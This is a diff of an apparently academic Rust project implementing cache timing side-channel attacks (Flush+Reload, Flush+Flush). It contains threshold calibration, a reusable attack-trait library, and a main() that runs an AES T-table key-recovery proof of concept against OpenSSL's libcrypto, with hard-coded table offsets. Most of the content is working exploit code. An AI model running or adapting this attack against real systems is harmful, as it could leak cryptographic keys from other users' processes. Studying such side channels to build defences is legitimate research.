let t = unsafe { only_flush(*addr) };
|
|
||||||
tmp.push((addr, t));
|
|
||||||
if i == Self::MAX_ADDR {
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
for (addr, time) in tmp {
|
|
||||||
if !self.addresses_ready.contains(&addr) {
|
|
||||||
return Err(AddressNotReady(*addr));
|
|
||||||
}
|
|
||||||
let vpn: VPN = (*addr as usize) & (!0xfff); // FIXME
|
|
||||||
let slice = self.get_slice(*addr);
|
|
||||||
let threshold = &self.thresholds[&vpn][&slice];
|
|
||||||
// refactor this into a struct threshold method ?
|
|
||||||
if threshold.is_hit(time) {
|
|
||||||
result.push((*addr, CacheStatus::Hit))
|
|
||||||
} else {
|
|
||||||
result.push((*addr, CacheStatus::Miss))
|
|
||||||
}
|
|
||||||
}
|
|
||||||
Ok(result)
|
|
||||||
}
|
|
||||||
|
|
||||||
unsafe fn prepare<'a, 'b, 'c>(
|
|
||||||
&'a mut self,
|
|
||||||
addresses: &'b mut (impl Iterator<Item = &'c *const u8> + Clone),
|
|
||||||
) -> Result<(), SideChannelError> {
|
|
||||||
use core::arch::x86_64 as arch_x86;
|
|
||||||
let mut i = 0;
|
|
||||||
let addresses_cloned = addresses.clone();
|
|
||||||
for addr in addresses_cloned {
|
|
||||||
i += 1;
|
|
||||||
let vpn: VPN = get_vpn(*addr);
|
|
||||||
let slice = self.get_slice(*addr);
|
|
||||||
if self.addresses_ready.contains(&addr) {
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
if !self.thresholds.contains_key(&vpn) || !self.thresholds[&vpn].contains_key(&slice) {
|
|
||||||
return Err(AddressNotCalibrated(*addr));
|
|
||||||
}
|
|
||||||
if i == Self::MAX_ADDR {
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
i = 0;
|
|
||||||
for addr in addresses {
|
|
||||||
i += 1;
|
|
||||||
unsafe { flush(*addr) };
|
|
||||||
self.addresses_ready.insert(*addr);
|
|
||||||
if i == Self::MAX_ADDR {
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
unsafe { arch_x86::_mm_mfence() };
|
|
||||||
Ok(())
|
|
||||||
}
|
|
||||||
|
|
||||||
fn victim(&mut self, operation: &dyn Fn()) {
|
|
||||||
operation(); // TODO use a different helper core ?
|
|
||||||
}
|
|
||||||
|
|
||||||
unsafe fn calibrate(
|
|
||||||
&mut self,
|
|
||||||
addresses: impl IntoIterator<Item = *const u8> + Clone,
|
|
||||||
) -> Result<(), ChannelFatalError> {
|
|
||||||
let mut pages = HashMap::<VPN, HashSet<*const u8>>::new();
|
|
||||||
for addr in addresses {
|
|
||||||
let page = get_vpn(addr);
|
|
||||||
pages.entry(page).or_insert_with(HashSet::new).insert(addr);
|
|
||||||
}
|
|
||||||
|
|
||||||
let core_per_socket = find_core_per_socket();
|
|
||||||
|
|
||||||
let operations = [
|
|
||||||
CalibrateOperation2T {
|
|
||||||
prepare: maccess::<u8>,
|
|
||||||
op: only_flush,
|
|
||||||
name: "clflush_remote_hit",
|
|
||||||
display_name: "clflush remote hit",
|
|
||||||
},
|
|
||||||
CalibrateOperation2T {
|
|
||||||
prepare: noop::<u8>,
|
|
||||||
op: only_flush,
|
|
||||||
name: "clflush_miss",
|
|
||||||
display_name: "clflush miss",
|
|
||||||
},
|
|
||||||
];
|
|
||||||
const HIT_INDEX: usize = 0;
|
|
||||||
const MISS_INDEX: usize = 1;
|
|
||||||
|
|
||||||
// Generate core iterator
|
|
||||||
let mut core_pairs: Vec<(usize, usize)> = Vec::new();
|
|
||||||
|
|
||||||
let old = sched_getaffinity(Pid::from_raw(0)).unwrap();
|
|
||||||
|
|
||||||
for i in 0..CpuSet::count() {
|
|
||||||
if old.is_set(i).unwrap() {
|
|
||||||
core_pairs.push((i, i));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Probably needs more metadata
|
|
||||||
let mut per_core: HashMap<usize, HashMap<VPN, HashMap<Slice, (Threshold, f32)>>> =
|
|
||||||
HashMap::new();
|
|
||||||
|
|
||||||
let mut core_averages: HashMap<usize, (f32, u32)> = HashMap::new();
|
|
||||||
|
|
||||||
for (page, _) in pages {
|
|
||||||
let p = page as *const u8;
|
|
||||||
let r = unsafe {
|
|
||||||
calibrate_fixed_freq_2_thread(
|
|
||||||
p,
|
|
||||||
64, // FIXME : MAGIC
|
|
||||||
PAGE_LEN as isize, // MAGIC
|
|
||||||
&mut core_pairs.clone().into_iter(),
|
|
||||||
&operations,
|
|
||||||
CalibrationOptions {
|
|
||||||
hist_params: HistParams {
|
|
||||||
bucket_number: CFLUSH_BUCKET_NUMBER,
|
|
||||||
bucket_size: CFLUSH_BUCKET_SIZE,
|
|
||||||
iterations: CFLUSH_NUM_ITER << 1,
|
|
||||||
},
|
|
||||||
verbosity: Verbosity::NoOutput,
|
|
||||||
optimised_addresses: true,
|
|
||||||
},
|
|
||||||
core_per_socket,
|
|
||||||
)
|
|
||||||
};
|
|
||||||
|
|
||||||
/* TODO refactor a good chunk of calibration result analysis to make thresholds in a separate function
|
|
||||||
Generating Cumulative Sums and then using that to compute error count for each possible threshold is a recurring joke.
|
|
||||||
It might be worth in a second time to refactor this to handle more generic strategies (such as double thresholds)
|
|
||||||
What about handling non attributes values (time values that are not attributed as hit or miss)
|
|
||||||
*/
|
|
||||||
|
|
||||||
for result2t in r {
|
|
||||||
if result2t.main_core != result2t.helper_core {
|
|
||||||
panic!("Unexpected core numbers");
|
|
||||||
}
|
|
||||||
let core = result2t.main_core;
|
|
||||||
match result2t.res {
|
|
||||||
Err(e) => panic!("Oops: {:#?}", e),
|
|
||||||
Ok(results_1t) => {
|
|
||||||
for r1t in results_1t {
|
|
||||||
let offset = r1t.offset;
|
|
||||||
let addr = unsafe { p.offset(offset) };
|
|
||||||
let slice = self.get_slice(addr);
|
|
||||||
let miss_hist = &r1t.histogram[MISS_INDEX];
|
|
||||||
let hit_hist = &r1t.histogram[HIT_INDEX];
|
|
||||||
if miss_hist.len() != hit_hist.len() {
|
|
||||||
panic!("Maformed results");
|
|
||||||
}
|
|
||||||
let len = miss_hist.len();
|
|
||||||
let miss_cum_sum = cum_sum(miss_hist);
|
|
||||||
let hit_cum_sum = cum_sum(hit_hist);
|
|
||||||
let miss_total = miss_cum_sum[len - 1];
|
|
||||||
let hit_total = hit_cum_sum[len - 1];
|
|
||||||
|
|
||||||
// Threshold is less than equal => miss, strictly greater than => hit
|
|
||||||
let mut error_miss_less_than_hit = vec![0; len - 1];
|
|
||||||
// Threshold is less than equal => hit, strictly greater than => miss
|
|
||||||
let mut error_hit_less_than_miss = vec![0; len - 1];
|
|
||||||
|
|
||||||
let mut min_error_hlm = u32::max_value();
|
|
||||||
let mut min_error_mlh = u32::max_value();
|
|
||||||
|
|
||||||
for i in 0..(len - 1) {
|
|
||||||
error_hit_less_than_miss[i] =
|
|
||||||
miss_cum_sum[i] + (hit_total - hit_cum_sum[i]);
|
|
||||||
error_miss_less_than_hit[i] =
|
|
||||||
hit_cum_sum[i] + (miss_total - miss_cum_sum[i]);
|
|
||||||
|
|
||||||
if error_hit_less_than_miss[i] < min_error_hlm {
|
|
||||||
min_error_hlm = error_hit_less_than_miss[i];
|
|
||||||
}
|
|
||||||
if error_miss_less_than_hit[i] < min_error_mlh {
|
|
||||||
min_error_mlh = error_miss_less_than_hit[i];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
let hlm = min_error_hlm < min_error_mlh;
|
|
||||||
|
|
||||||
let (errors, min_error) = if hlm {
|
|
||||||
(&error_hit_less_than_miss, min_error_hlm)
|
|
||||||
} else {
|
|
||||||
(&error_miss_less_than_hit, min_error_mlh)
|
|
||||||
};
|
|
||||||
|
|
||||||
let mut potential_thresholds = Vec::new();
|
|
||||||
|
|
||||||
for i in 0..errors.len() {
|
|
||||||
if errors[i] == min_error {
|
|
||||||
let num_true_hit;
|
|
||||||
let num_false_hit;
|
|
||||||
let num_true_miss;
|
|
||||||
let num_false_miss;
|
|
||||||
if hlm {
|
|
||||||
num_true_hit = hit_cum_sum[i];
|
|
||||||
num_false_hit = miss_cum_sum[i];
|
|
||||||
num_true_miss = miss_total - num_false_hit;
|
|
||||||
num_false_miss = hit_total - num_true_hit;
|
|
||||||
} else {
|
|
||||||
num_true_miss = miss_cum_sum[i];
|
|
||||||
num_false_miss = hit_cum_sum[i];
|
|
||||||
num_true_hit = hit_total - num_false_miss;
|
|
||||||
num_false_hit = miss_total - num_true_miss;
|
|
||||||
}
|
|
||||||
potential_thresholds.push((
|
|
||||||
i,
|
|
||||||
num_true_hit,
|
|
||||||
num_false_hit,
|
|
||||||
num_true_miss,
|
|
||||||
num_false_miss,
|
|
||||||
min_error as f32 / (hit_total + miss_total) as f32,
|
|
||||||
));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
let index = (potential_thresholds.len() - 1) / 2;
|
|
||||||
let (threshold, _, _, _, _, error_rate) = potential_thresholds[index];
|
|
||||||
// insert in per_core
|
|
||||||
if per_core
|
|
||||||
.entry(core)
|
|
||||||
.or_insert_with(HashMap::new)
|
|
||||||
.entry(page)
|
|
||||||
.or_insert_with(HashMap::new)
|
|
||||||
.insert(
|
|
||||||
slice,
|
|
||||||
(
|
|
||||||
Threshold {
|
|
||||||
value: threshold as u64, // FIXME the bucket to time conversion
|
|
||||||
miss_faster_than_hit: !hlm,
|
|
||||||
},
|
|
||||||
error_rate,
|
|
||||||
),
|
|
||||||
)
|
|
||||||
.is_some()
|
|
||||||
{
|
|
||||||
panic!("Duplicate slice result");
|
|
||||||
}
|
|
||||||
let core_average = core_averages.get(&core).unwrap_or(&(0.0, 0));
|
|
||||||
let new_core_average =
|
|
||||||
(core_average.0 + error_rate, core_average.1 + 1);
|
|
||||||
core_averages.insert(core, new_core_average);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// We now have a HashMap associating stuffs to cores, iterate on it and select the best.
|
|
||||||
let mut best_core = 0;
|
|
||||||
|
|
||||||
let mut best_error_rate = {
|
|
||||||
let ca = core_averages[&0];
|
|
||||||
ca.0 / ca.1 as f32
|
|
||||||
};
|
|
||||||
for (core, average) in core_averages {
|
|
||||||
let error_rate = average.0 / average.1 as f32;
|
|
||||||
if error_rate < best_error_rate {
|
|
||||||
best_core = core;
|
|
||||||
best_error_rate = error_rate;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
let mut thresholds = HashMap::new();
|
|
||||||
println!("Best core: {}, rate: {}", best_core, best_error_rate);
|
|
||||||
let tmp = per_core.remove(&best_core).unwrap();
|
|
||||||
for (page, per_page) in tmp {
|
|
||||||
let page_entry = thresholds.entry(page).or_insert_with(HashMap::new);
|
|
||||||
for (slice, per_slice) in per_page {
|
|
||||||
println!(
|
|
||||||
"page: {:x}, slice: {}, threshold: {:?}, error_rate: {}",
|
|
||||||
page, slice, per_slice.0, per_slice.1
|
|
||||||
);
|
|
||||||
page_entry.insert(slice, per_slice.0);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
self.thresholds = thresholds;
|
|
||||||
println!("{:#?}", self.thresholds);
|
|
||||||
|
|
||||||
// TODO handle error better for affinity setting and other issues.
|
|
||||||
|
|
||||||
self.addresses_ready.clear();
|
|
||||||
|
|
||||||
let mut cpuset = CpuSet::new();
|
|
||||||
cpuset.set(best_core).unwrap();
|
|
||||||
sched_setaffinity(Pid::from_raw(0), &cpuset).unwrap();
|
|
||||||
Ok(())
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
const KEY2: [u8; 32] = [
|
const KEY2: [u8; 32] = [
|
||||||
0x51, 0x4d, 0xab, 0x12, 0xff, 0xdd, 0xb3, 0x32, 0x52, 0x8f, 0xbb, 0x1d, 0xec, 0x45, 0xce, 0xcc,
|
0x51, 0x4d, 0xab, 0x12, 0xff, 0xdd, 0xb3, 0x32, 0x52, 0x8f, 0xbb, 0x1d, 0xec, 0x45, 0xce, 0xcc,
|
||||||
@ -452,12 +17,12 @@ const KEY2: [u8; 32] = [
|
|||||||
// 00000000001cc080 r Te1
|
// 00000000001cc080 r Te1
|
||||||
// 00000000001cbc80 r Te2
|
// 00000000001cbc80 r Te2
|
||||||
// 00000000001cb880 r Te3
|
// 00000000001cb880 r Te3
|
||||||
const TE_CYBER_COBAYE : [isize;4] = [0x1cc480, 0x1cc080, 0x1cbc80, 0x1cb880];
|
const TE_CYBER_COBAYE: [isize; 4] = [0x1cc480, 0x1cc080, 0x1cbc80, 0x1cb880];
|
||||||
|
|
||||||
const TE_CITRON_VERT : [isize; 4] = [0x1b5d40, 0x1b5940, 0x1b5540, 0x1b5140];
|
const TE_CITRON_VERT: [isize; 4] = [0x1b5d40, 0x1b5940, 0x1b5540, 0x1b5140];
|
||||||
|
|
||||||
fn main() {
|
fn main() {
|
||||||
let open_sslpath = Path::new(env!("OPENSSL_DIR")).join("lib/libcrypto.so");
|
let openssl_path = Path::new(env!("OPENSSL_DIR")).join("lib/libcrypto.so");
|
||||||
let mut side_channel = NaiveFlushAndReload::from_threshold(220);
|
let mut side_channel = NaiveFlushAndReload::from_threshold(220);
|
||||||
let te = TE_CITRON_VERT;
|
let te = TE_CITRON_VERT;
|
||||||
unsafe {
|
unsafe {
|
||||||
@ -467,7 +32,7 @@ fn main() {
|
|||||||
num_encryptions: 1 << 12,
|
num_encryptions: 1 << 12,
|
||||||
key: [0; 32],
|
key: [0; 32],
|
||||||
te: te, // adjust me (should be in decreasing order)
|
te: te, // adjust me (should be in decreasing order)
|
||||||
openssl_path: &open_sslpath,
|
openssl_path: &openssl_path,
|
||||||
},
|
},
|
||||||
)
|
)
|
||||||
}; /**/
|
}; /**/
|
||||||
@ -478,36 +43,35 @@ fn main() {
|
|||||||
num_encryptions: 1 << 12,
|
num_encryptions: 1 << 12,
|
||||||
key: KEY2,
|
key: KEY2,
|
||||||
te: te,
|
te: te,
|
||||||
openssl_path: &open_sslpath,
|
openssl_path: &openssl_path,
|
||||||
},
|
},
|
||||||
)
|
)
|
||||||
};
|
};
|
||||||
{
|
let (mut side_channel_ff, old, core) = FlushAndFlush::new_any_single_core().unwrap();
|
||||||
let mut side_channel_ff = FlushAndFlush::new().unwrap();
|
unsafe {
|
||||||
unsafe {
|
attack_t_tables_poc(
|
||||||
attack_t_tables_poc(
|
&mut side_channel_ff,
|
||||||
&mut side_channel_ff,
|
AESTTableParams {
|
||||||
AESTTableParams {
|
num_encryptions: 1 << 12,
|
||||||
num_encryptions: 1 << 12,
|
key: [0; 32],
|
||||||
key: [0; 32],
|
te: te, // adjust me (should be in decreasing order)
|
||||||
te: te, // adjust me (should be in decreasing order)
|
openssl_path: &openssl_path,
|
||||||
openssl_path: &open_sslpath,
|
},
|
||||||
},
|
)
|
||||||
)
|
};
|
||||||
};
|
|
||||||
}
|
sched_setaffinity(Pid::from_raw(0), &old);
|
||||||
{
|
let (mut side_channel_ff, old, core) = SingleFlushAndFlush::new_any_single_core().unwrap();
|
||||||
let mut side_channel_ff = SingleFlushAndFlush::new().unwrap();
|
unsafe {
|
||||||
unsafe {
|
attack_t_tables_poc(
|
||||||
attack_t_tables_poc(
|
&mut side_channel_ff,
|
||||||
&mut side_channel_ff,
|
AESTTableParams {
|
||||||
AESTTableParams {
|
num_encryptions: 1 << 12,
|
||||||
num_encryptions: 1 << 12,
|
key: KEY2,
|
||||||
key: KEY2,
|
te: te, // adjust me (should be in decreasing order)
|
||||||
te: te, // adjust me (should be in decreasing order)
|
openssl_path: &openssl_path,
|
||||||
openssl_path: &open_sslpath,
|
},
|
||||||
},
|
)
|
||||||
)
|
};
|
||||||
};
|
sched_setaffinity(Pid::from_raw(0), &old);
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
9
cache_side_channel/Cargo.toml
Normal file
9
cache_side_channel/Cargo.toml
Normal file
@ -0,0 +1,9 @@
|
|||||||
|
[package]
|
||||||
|
name = "cache_side_channel"
|
||||||
|
version = "0.1.0"
|
||||||
|
authors = ["GuillaumeDIDIER <guillaume.didier95@hotmail.fr>"]
|
||||||
|
edition = "2018"
|
||||||
|
|
||||||
|
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
||||||
|
|
||||||
|
[dependencies]
|
104
cache_side_channel/src/lib.rs
Normal file
104
cache_side_channel/src/lib.rs
Normal file
@ -0,0 +1,104 @@
|
|||||||
|
#![feature(specialization)]
|
||||||
|
#![feature(unsafe_block_in_unsafe_fn)]
|
||||||
|
#![deny(unsafe_op_in_unsafe_fn)]
|
||||||
|
|
||||||
|
use std::fmt::Debug;
|
||||||
|
|
||||||
|
pub mod table_side_channel;
|
||||||
|
|
||||||
|
#[derive(Debug, PartialEq, Eq, Clone, Copy)]
|
||||||
|
pub enum CacheStatus {
|
||||||
|
Hit,
|
||||||
|
Miss,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Debug, PartialEq, Eq, Clone, Copy)]
|
||||||
|
pub enum ChannelFatalError {
|
||||||
|
Oops,
|
||||||
|
}
|
||||||
|
|
||||||
|
pub enum SideChannelError {
|
||||||
|
NeedRecalibration,
|
||||||
|
FatalError(ChannelFatalError),
|
||||||
|
AddressNotReady(*const u8),
|
||||||
|
AddressNotCalibrated(*const u8),
|
||||||
|
}
|
||||||
|
|
||||||
|
pub trait SingleAddrCacheSideChannel: Debug {
|
||||||
|
//type SingleChannelFatalError: Debug;
|
||||||
|
/// # Safety
|
||||||
|
///
|
||||||
|
/// addr must be a valid pointer to read.
|
||||||
|
unsafe fn test_single(&mut self, addr: *const u8) -> Result<CacheStatus, SideChannelError>;
|
||||||
|
/// # Safety
|
||||||
|
///
|
||||||
|
/// addr must be a valid pointer to read.
|
||||||
|
unsafe fn prepare_single(&mut self, addr: *const u8) -> Result<(), SideChannelError>;
|
||||||
|
fn victim_single(&mut self, operation: &dyn Fn());
|
||||||
|
/// # Safety
|
||||||
|
///
|
||||||
|
/// addresses must contain only valid pointers to read.
|
||||||
|
unsafe fn calibrate_single(
|
||||||
|
&mut self,
|
||||||
|
addresses: impl IntoIterator<Item = *const u8> + Clone,
|
||||||
|
) -> Result<(), ChannelFatalError>;
|
||||||
|
}
|
||||||
|
|
||||||
|
pub trait MultipleAddrCacheSideChannel: Debug {
|
||||||
|
const MAX_ADDR: u32;
|
||||||
|
/// # Safety
|
||||||
|
///
|
||||||
|
/// addresses must contain only valid pointers to read.
|
||||||
|
unsafe fn test<'a, 'b, 'c>(
|
||||||
|
&'a mut self,
|
||||||
|
addresses: &'b mut (impl Iterator<Item = &'c *const u8> + Clone),
|
||||||
|
) -> Result<Vec<(*const u8, CacheStatus)>, SideChannelError>;
|
||||||
|
|
||||||
|
/// # Safety
|
||||||
|
///
|
||||||
|
/// addresses must contain only valid pointers to read.
|
||||||
|
unsafe fn prepare<'a, 'b, 'c>(
|
||||||
|
&'a mut self,
|
||||||
|
addresses: &'b mut (impl Iterator<Item = &'c *const u8> + Clone),
|
||||||
|
) -> Result<(), SideChannelError>;
|
||||||
|
fn victim(&mut self, operation: &dyn Fn());
|
||||||
|
|
||||||
|
/// # Safety
|
||||||
|
///
|
||||||
|
/// addresses must contain only valid pointers to read.
|
||||||
|
unsafe fn calibrate(
|
||||||
|
&mut self,
|
||||||
|
addresses: impl IntoIterator<Item = *const u8> + Clone,
|
||||||
|
) -> Result<(), ChannelFatalError>;
|
||||||
|
}
|
||||||
|
|
||||||
|
impl<T: MultipleAddrCacheSideChannel> SingleAddrCacheSideChannel for T {
|
||||||
|
unsafe fn test_single(&mut self, addr: *const u8) -> Result<CacheStatus, SideChannelError> {
|
||||||
|
let addresses = vec![addr];
|
||||||
|
unsafe { self.test(&mut addresses.iter()) }.map(|v| v[0].1)
|
||||||
|
}
|
||||||
|
|
||||||
|
unsafe fn prepare_single(&mut self, addr: *const u8) -> Result<(), SideChannelError> {
|
||||||
|
let addresses = vec![addr];
|
||||||
|
unsafe { self.prepare(&mut addresses.iter()) }
|
||||||
|
}
|
||||||
|
|
||||||
|
fn victim_single(&mut self, operation: &dyn Fn()) {
|
||||||
|
self.victim(operation);
|
||||||
|
}
|
||||||
|
|
||||||
|
unsafe fn calibrate_single(
|
||||||
|
&mut self,
|
||||||
|
addresses: impl IntoIterator<Item = *const u8> + Clone,
|
||||||
|
) -> Result<(), ChannelFatalError> {
|
||||||
|
unsafe { self.calibrate(addresses) }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod tests {
|
||||||
|
#[test]
|
||||||
|
fn it_works() {
|
||||||
|
assert_eq!(2 + 2, 4);
|
||||||
|
}
|
||||||
|
}
|
219
cache_side_channel/src/table_side_channel.rs
Normal file
219
cache_side_channel/src/table_side_channel.rs
Normal file
@ -0,0 +1,219 @@
|
|||||||
|
use crate::{
|
||||||
|
CacheStatus, ChannelFatalError, MultipleAddrCacheSideChannel, SideChannelError,
|
||||||
|
SingleAddrCacheSideChannel,
|
||||||
|
};
|
||||||
|
|
||||||
|
use std::collections::HashMap;
|
||||||
|
|
||||||
|
pub struct TableAttackResult {
|
||||||
|
pub addr: *const u8,
|
||||||
|
hit: u32,
|
||||||
|
miss: u32,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl TableAttackResult {
|
||||||
|
pub fn get(&self, cache_status: CacheStatus) -> u32 {
|
||||||
|
match cache_status {
|
||||||
|
CacheStatus::Hit => self.hit,
|
||||||
|
CacheStatus::Miss => self.miss,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub trait TableCacheSideChannel {
|
||||||
|
//type ChannelFatalError: Debug;
|
||||||
|
/// # Safety
|
||||||
|
///
|
||||||
|
/// addresses must contain only valid pointers to read.
|
||||||
|
unsafe fn calibrate(
|
||||||
|
&mut self,
|
||||||
|
addresses: impl IntoIterator<Item = *const u8> + Clone,
|
||||||
|
) -> Result<(), ChannelFatalError>;
|
||||||
|
/// # Safety
|
||||||
|
///
|
||||||
|
/// addresses must contain only valid pointers to read.
|
||||||
|
unsafe fn attack<'a, 'b, 'c>(
|
||||||
|
&'a mut self,
|
||||||
|
addresses: impl Iterator<Item = &'c *const u8> + Clone,
|
||||||
|
victim: &'b dyn Fn(),
|
||||||
|
num_iteration: u32,
|
||||||
|
) -> Result<Vec<TableAttackResult>, ChannelFatalError>;
|
||||||
|
}
|
||||||
|
|
||||||
|
impl<T: SingleAddrCacheSideChannel> TableCacheSideChannel for T {
|
||||||
|
default unsafe fn calibrate(
|
||||||
|
&mut self,
|
||||||
|
addresses: impl IntoIterator<Item = *const u8> + Clone,
|
||||||
|
) -> Result<(), ChannelFatalError> {
|
||||||
|
unsafe { self.calibrate_single(addresses) }
|
||||||
|
}
|
||||||
|
//type ChannelFatalError = T::SingleChannelFatalError;
|
||||||
|
|
||||||
|
default unsafe fn attack<'a, 'b, 'c>(
|
||||||
|
&'a mut self,
|
||||||
|
addresses: impl Iterator<Item = &'c *const u8> + Clone,
|
||||||
|
victim: &'b dyn Fn(),
|
||||||
|
num_iteration: u32,
|
||||||
|
) -> Result<Vec<TableAttackResult>, ChannelFatalError> {
|
||||||
|
let mut result = Vec::new();
|
||||||
|
|
||||||
|
for addr in addresses {
|
||||||
|
let mut hit = 0;
|
||||||
|
let mut miss = 0;
|
||||||
|
for iteration in 0..100 {
|
||||||
|
match unsafe { self.prepare_single(*addr) } {
|
||||||
|
Ok(_) => {}
|
||||||
|
Err(e) => match e {
|
||||||
|
SideChannelError::NeedRecalibration => unimplemented!(),
|
||||||
|
SideChannelError::FatalError(e) => return Err(e),
|
||||||
|
SideChannelError::AddressNotReady(_addr) => panic!(),
|
||||||
|
SideChannelError::AddressNotCalibrated(_addr) => unimplemented!(),
|
||||||
|
},
|
||||||
|
}
|
||||||
|
self.victim_single(victim);
|
||||||
|
let r = unsafe { self.test_single(*addr) };
|
||||||
|
match r {
|
||||||
|
Ok(status) => {}
|
||||||
|
Err(e) => match e {
|
||||||
|
SideChannelError::NeedRecalibration => panic!(),
|
||||||
|
SideChannelError::FatalError(e) => {
|
||||||
|
return Err(e);
|
||||||
|
}
|
||||||
|
_ => panic!(),
|
||||||
|
},
|
||||||
|
}
|
||||||
|
}
|
||||||
|
for _iteration in 0..num_iteration {
|
||||||
|
match unsafe { self.prepare_single(*addr) } {
|
||||||
|
Ok(_) => {}
|
||||||
|
Err(e) => match e {
|
||||||
|
SideChannelError::NeedRecalibration => unimplemented!(),
|
||||||
|
SideChannelError::FatalError(e) => return Err(e),
|
||||||
|
SideChannelError::AddressNotReady(_addr) => panic!(),
|
||||||
|
SideChannelError::AddressNotCalibrated(_addr) => unimplemented!(),
|
||||||
|
},
|
||||||
|
}
|
||||||
|
self.victim_single(victim);
|
||||||
|
let r = unsafe { self.test_single(*addr) };
|
||||||
|
match r {
|
||||||
|
Ok(status) => match status {
|
||||||
|
CacheStatus::Hit => {
|
||||||
|
hit += 1;
|
||||||
|
}
|
||||||
|
CacheStatus::Miss => {
|
||||||
|
miss += 1;
|
||||||
|
}
|
||||||
|
},
|
||||||
|
Err(e) => match e {
|
||||||
|
SideChannelError::NeedRecalibration => panic!(),
|
||||||
|
SideChannelError::FatalError(e) => {
|
||||||
|
return Err(e);
|
||||||
|
}
|
||||||
|
_ => panic!(),
|
||||||
|
},
|
||||||
|
}
|
||||||
|
}
|
||||||
|
result.push(TableAttackResult {
|
||||||
|
addr: *addr,
|
||||||
|
hit,
|
||||||
|
miss,
|
||||||
|
});
|
||||||
|
}
|
||||||
|
Ok(result)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TODO limit number of simultaneous tested address + randomise order ?
|
||||||
|
|
||||||
|
impl<T: MultipleAddrCacheSideChannel> TableCacheSideChannel for T {
|
||||||
|
unsafe fn calibrate(
|
||||||
|
&mut self,
|
||||||
|
addresses: impl IntoIterator<Item = *const u8> + Clone,
|
||||||
|
) -> Result<(), ChannelFatalError> {
|
||||||
|
unsafe { self.calibrate(addresses) }
|
||||||
|
}
|
||||||
|
//type ChannelFatalError = T::MultipleChannelFatalError;
|
||||||
|
|
||||||
|
/// # Safety
|
||||||
|
///
|
||||||
|
/// addresses must contain only valid pointers to read.
|
||||||
|
unsafe fn attack<'a, 'b, 'c>(
|
||||||
|
&'a mut self,
|
||||||
|
mut addresses: impl Iterator<Item = &'c *const u8> + Clone,
|
||||||
|
victim: &'b dyn Fn(),
|
||||||
|
num_iteration: u32,
|
||||||
|
) -> Result<Vec<TableAttackResult>, ChannelFatalError> {
|
||||||
|
let mut v = Vec::new();
|
||||||
|
while let Some(addr) = addresses.next() {
|
||||||
|
let mut batch = Vec::new();
|
||||||
|
batch.push(*addr);
|
||||||
|
let mut hits: HashMap<*const u8, u32> = HashMap::new();
|
||||||
|
let mut misses: HashMap<*const u8, u32> = HashMap::new();
|
||||||
|
for i in 1..T::MAX_ADDR {
|
||||||
|
if let Some(addr) = addresses.next() {
|
||||||
|
batch.push(*addr);
|
||||||
|
} else {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
for i in 0..100 {
|
||||||
|
// TODO Warmup
|
||||||
|
}
|
||||||
|
for i in 0..num_iteration {
|
||||||
|
match unsafe { MultipleAddrCacheSideChannel::prepare(self, &mut batch.iter()) } {
|
||||||
|
Ok(_) => {}
|
||||||
|
Err(e) => match e {
|
||||||
|
SideChannelError::NeedRecalibration => unimplemented!(),
|
||||||
|
SideChannelError::FatalError(e) => return Err(e),
|
||||||
|
SideChannelError::AddressNotReady(_addr) => panic!(),
|
||||||
|
SideChannelError::AddressNotCalibrated(addr) => {
|
||||||
|
eprintln!(
|
||||||
|
"Addr: {:p}\n\
|
||||||
|
{:#?}",
|
||||||
|
addr, self
|
||||||
|
);
|
||||||
|
unimplemented!()
|
||||||
|
}
|
||||||
|
},
|
||||||
|
}
|
||||||
|
MultipleAddrCacheSideChannel::victim(self, victim);
|
||||||
|
|
||||||
|
let r = unsafe { MultipleAddrCacheSideChannel::test(self, &mut batch.iter()) }; // Fixme error handling
|
||||||
|
match r {
|
||||||
|
Err(e) => match e {
|
||||||
|
SideChannelError::NeedRecalibration => {
|
||||||
|
panic!();
|
||||||
|
}
|
||||||
|
SideChannelError::FatalError(e) => {
|
||||||
|
return Err(e);
|
||||||
|
}
|
||||||
|
_ => {
|
||||||
|
panic!();
|
||||||
|
}
|
||||||
|
},
|
||||||
|
Ok(vector) => {
|
||||||
|
for (addr, status) in vector {
|
||||||
|
match status {
|
||||||
|
CacheStatus::Hit => {
|
||||||
|
*hits.entry(addr).or_default() += 1;
|
||||||
|
}
|
||||||
|
CacheStatus::Miss => {
|
||||||
|
*misses.entry(addr).or_default() += 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
for addr in batch {
|
||||||
|
v.push(TableAttackResult {
|
||||||
|
addr,
|
||||||
|
hit: *hits.get(&addr).unwrap_or(&0u32),
|
||||||
|
miss: *misses.get(&addr).unwrap_or(&0u32),
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
Ok(v)
|
||||||
|
}
|
||||||
|
}
|
4
cache_utils/extract_analysis_csv.sh
Executable file
4
cache_utils/extract_analysis_csv.sh
Executable file
@ -0,0 +1,4 @@
|
|||||||
|
#!/bin/sh
|
||||||
|
grep '^Analysis:' "$1.txt" | cut -b 10- > "$1.csv"
|
||||||
|
grep '^AVAnalysis:' "$1.txt" | cut -b 12- > "$1.AV.csv"
|
||||||
|
grep '^AttackerAnalysis:' "$1.txt" | cut -b 18- > "$1.A.csv"
|
